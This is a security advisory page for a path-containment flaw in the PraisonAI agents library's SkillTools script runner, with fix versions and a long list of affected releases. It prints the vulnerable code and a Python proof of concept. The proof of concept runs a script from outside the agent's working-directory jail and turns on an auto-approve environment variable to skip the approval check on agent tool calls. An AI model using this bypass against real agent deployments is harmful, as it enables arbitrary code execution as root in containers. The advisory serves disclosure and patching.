All vulnerabilities
CVE-2026-61443GHSA-c44f-37qr-gw3fPYSEC-2026-4270

praisonaiagents: PraisonAI: SkillTools Executes Scripts Without Path Containment Validation

MervinPraison praisonaiagentspipLibraries & packages
CVSS
8.1High
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 15 Jul 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.77%Chance of exploitation activity in the next 30 days, higher than 55% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in1.6.78Fixed versionGitHub
Published15 Jul 2026Updated 15 Oct 2026CVE List

What fixes it

  • 1.6.78praisonaiagents, pipGitHub
  • 1.6.78PraisonAICVE List
  • 1.6.78praisonaiagents, PyPIOSVpip install "praisonaiagents>=1.6.78"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

SkillTools.run_skill_script() accepts a script_path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has _validate_path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require_approval decorator can be bypassed via YAML approve: for high-risk tools.

Details

src/praisonai-agents/praisonaiagents/tools/skill_tools.py (lines 69-119):

def run_skill_script(self, script_path: str, ...):
    script_path = os.path.expanduser(script_path)
    if not os.path.isabs(script_path):
        script_path = os.path.join(self._working_directory, script_path)
    script_path = os.path.abspath(script_path)

    if not os.path.exists(script_path):
        return f"Error: Script not found at {script_path}"

    # No path traversal check, no containment validation
    # Directly executes whatever is at that path:
    result = subprocess.run(cmd, ...)

By contrast, FileTools._validate_path() (src/praisonai-agents/praisonaiagents/tools/file_tools.py, lines 42-78) properly validates that the resolved path stays within the working directory:

def _validate_path(self, filepath: str) -> str:
    # ...
    cwd = os.path.abspath(os.getcwd())
    if os.path.commonpath([absolute, cwd]) != cwd:
        raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")

SkillTools has no equivalent check.

PoC

import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools

# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill_jail_")

# Create a malicious script OUTSIDE the jail
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
    f.write("#!/bin/bash\n")
    f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n")
    f.write("echo \"USER: $(whoami)\"\n")
    f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)

# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"

st = SkillTools()
st._working_directory = jail  # Pretend we're confined

# Run script from OUTSIDE the jail — no path validation!
result = st.run_skill_script(attack_script)
print(result)
# Output:
#   PROOF_OF_EXPLOIT: Script executed outside jail
#   USER: anushkavirgaonkar
#   HOSTNAME: Anushkas-MacBook-Pro-2.local

# Cleanup
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)

Tested result: The script at /tmp/malicious_skill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.

Impact

  • Arbitrary script execution: Run any script on the filesystem from any location
  • Chaining with file write: Write a malicious script via write_file (YAML-approvable as a high-risk tool), then execute it via run_skill_script
  • Root-level impact in Docker: All PraisonAI Docker containers run as root (no USER directive), so an escaped script runs with full root privileges

Text from GitHub Advisory Database

Affected versions 54

  • praisonaiagents, pip<= 1.6.77GitHub
  • PraisonAIaffected: all versions before 1.6.78CVE List
  • PraisonAIunaffected: 1.6.78CVE List
  • praisonaiagents, PyPIfrom first release, fixed in 1.6.78OSV
  • praisonaiagents, PyPI0.0.1OSV
  • praisonaiagents, PyPI0.0.10OSV
  • praisonaiagents, PyPI0.0.100OSV
  • praisonaiagents, PyPI0.0.101OSV
  • praisonaiagents, PyPI0.0.102OSV
  • praisonaiagents, PyPI0.0.103OSV
  • praisonaiagents, PyPI0.0.104OSV
  • praisonaiagents, PyPI0.0.105OSV
  • praisonaiagents, PyPI0.0.106OSV
  • praisonaiagents, PyPI0.0.107OSV
  • praisonaiagents, PyPI0.0.108OSV
  • praisonaiagents, PyPI0.0.109OSV
  • praisonaiagents, PyPI0.0.11OSV
  • praisonaiagents, PyPI0.0.110OSV
  • praisonaiagents, PyPI0.0.111OSV
  • praisonaiagents, PyPI0.0.112OSV
  • praisonaiagents, PyPI0.0.113OSV
  • praisonaiagents, PyPI0.0.114OSV
  • praisonaiagents, PyPI0.0.115OSV
  • praisonaiagents, PyPI0.0.116OSV
  • praisonaiagents, PyPI0.0.117OSV
  • praisonaiagents, PyPI0.0.118OSV
  • praisonaiagents, PyPI0.0.119OSV
  • praisonaiagents, PyPI0.0.12OSV
  • praisonaiagents, PyPI0.0.120OSV
  • praisonaiagents, PyPI0.0.121OSV
  • praisonaiagents, PyPI0.0.122OSV
  • praisonaiagents, PyPI0.0.123OSV
  • praisonaiagents, PyPI0.0.124OSV
  • praisonaiagents, PyPI0.0.125OSV
  • praisonaiagents, PyPI0.0.126OSV
  • praisonaiagents, PyPI0.0.127OSV
  • praisonaiagents, PyPI0.0.128OSV
  • praisonaiagents, PyPI0.0.129OSV
  • praisonaiagents, PyPI0.0.13OSV
  • praisonaiagents, PyPI0.0.130OSV
  • praisonaiagents, PyPI0.0.131OSV
  • praisonaiagents, PyPI0.0.132OSV
  • praisonaiagents, PyPI0.0.133OSV
  • praisonaiagents, PyPI0.0.134OSV
  • praisonaiagents, PyPI0.0.135OSV
  • praisonaiagents, PyPI0.0.136OSV
  • praisonaiagents, PyPI0.0.137OSV
  • praisonaiagents, PyPI0.0.138OSV
  • praisonaiagents, PyPI0.0.139OSV
  • praisonaiagents, PyPI0.0.14OSV
  • praisonaiagents, PyPI0.0.140OSV
  • praisonaiagents, PyPI0.0.141OSV
  • praisonaiagents, PyPI0.0.142OSV
  • praisonaiagents, PyPI0.0.143OSV

References 5